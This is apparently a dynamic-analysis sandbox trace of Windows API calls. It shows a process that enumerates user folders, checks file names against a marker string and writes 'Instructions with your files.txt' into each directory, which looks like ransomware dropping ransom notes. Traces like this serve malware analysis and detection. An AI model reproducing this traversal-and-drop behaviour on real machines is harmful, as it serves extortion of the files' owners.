[0132.122] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Start Menu") returned 33
[0132.122] GetProcessHeap () returned 0x810000
[0132.122] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.122] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Start Menu\\*") returned 35
[0132.122] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Start Menu\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb533c820, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb533c820, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="Ȭ癙䮸\x84翿")) returned 0xffffffff
[0132.122] GetProcessHeap () returned 0x810000
[0132.122] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.122] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xb5766ea0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb5766ea0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1
[0132.122] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Sun") returned 26
[0132.122] GetProcessHeap () returned 0x810000
[0132.122] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.122] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Sun\\*") returned 28
[0132.123] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Sun\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xb5766ea0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb5766ea0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0132.123] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Sun\\.") returned 28
[0132.123] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xb5766ea0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb5766ea0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.123] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Sun\\..") returned 29
[0132.123] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb5766ea0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb5766ea0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb5766ea0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.123] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Sun\\Instructions with your files.txt") returned 59
[0132.123] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.123] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xb5766ea0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb5766ea0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1
[0132.123] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Sun\\Java") returned 31
[0132.123] GetProcessHeap () returned 0x810000
[0132.123] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.123] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Sun\\Java\\*") returned 33
[0132.123] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Sun\\Java\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xb5766ea0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb5766ea0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.123] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Sun\\Java\\.") returned 33
[0132.123] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xb5766ea0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb5766ea0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.123] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Sun\\Java\\..") returned 34
[0132.123] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb5766ea0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb5766ea0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb5766ea0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.123] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Sun\\Java\\Instructions with your files.txt") returned 64
[0132.123] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.123] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xb5740d40, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb5740d40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 1
[0132.123] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Sun\\Java\\Java Update") returned 43
[0132.123] GetProcessHeap () returned 0x810000
[0132.123] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0132.123] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Sun\\Java\\Java Update\\*") returned 45
[0132.123] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Sun\\Java\\Java Update\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xb5740d40, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb5740d40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0132.124] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Sun\\Java\\Java Update\\.") returned 45
[0132.124] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xb5740d40, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb5740d40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.124] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Sun\\Java\\Java Update\\..") returned 46
[0132.124] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb5740d40, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb5740d40, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb5766ea0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.124] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Sun\\Java\\Java Update\\Instructions with your files.txt") returned 76
[0132.124] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.124] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaureglist.xml", cAlternateFileName="JAUREG~1.XML")) returned 1
[0132.124] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Sun\\Java\\Java Update\\jaureglist.xml") returned 58
[0132.124] StrStrIW (lpFirst="jaureglist.xml", lpSrch="SDfghjkl") returned 0x0
[0132.124] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaureglist.xml", cAlternateFileName="JAUREG~1.XML")) returned 0
[0132.124] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Sun\\Java\\Java Update\\Instructions with your files.txt") returned 76
[0132.124] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Sun\\Java\\Java Update\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\sun\\java\\java update\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0132.124] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0132.125] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0132.125] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0132.126] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0132.126] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0132.126] CloseHandle (hObject=0x114) returned 1
[0132.126] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0132.126] GetProcessHeap () returned 0x810000
[0132.126] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0132.126] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xb5740d40, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb5740d40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 0
[0132.126] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Sun\\Java\\Instructions with your files.txt") returned 64
[0132.126] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Sun\\Java\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\sun\\java\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.126] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.127] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.127] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0132.127] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0132.127] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.127] CloseHandle (hObject=0x110) returned 1
[0132.127] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.127] GetProcessHeap () returned 0x810000
[0132.127] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.127] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xb5766ea0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb5766ea0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0
[0132.128] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Sun\\Instructions with your files.txt") returned 59
[0132.128] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Sun\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\sun\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0132.128] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0132.129] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0132.129] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0132.129] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0132.129] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0132.129] CloseHandle (hObject=0x10c) returned 1
[0132.129] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0132.129] GetProcessHeap () returned 0x810000
[0132.129] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.129] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
[0132.129] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Templates") returned 32
[0132.129] GetProcessHeap () returned 0x810000
[0132.129] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.129] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Templates\\*") returned 34
[0132.129] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Templates\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xb5766ea0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb5766ea0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="Ȭ癙䮸\x84翿")) returned 0xffffffff
[0132.129] GetProcessHeap () returned 0x810000
[0132.129] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.129] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0
[0132.129] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Instructions with your files.txt") returned 55
[0132.130] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0132.130] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0132.130] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0132.131] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0132.131] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0132.131] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0132.131] CloseHandle (hObject=0x108) returned 1
[0132.131] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0132.131] GetProcessHeap () returned 0x810000
[0132.131] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0132.131] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1
[0132.131] wnsprintfW (in: pszDest=0x877be0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default") returned 20
[0132.131] GetProcessHeap () returned 0x810000
[0132.131] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0132.131] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\*") returned 22
[0132.131] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0132.131] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\.") returned 22
[0132.131] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
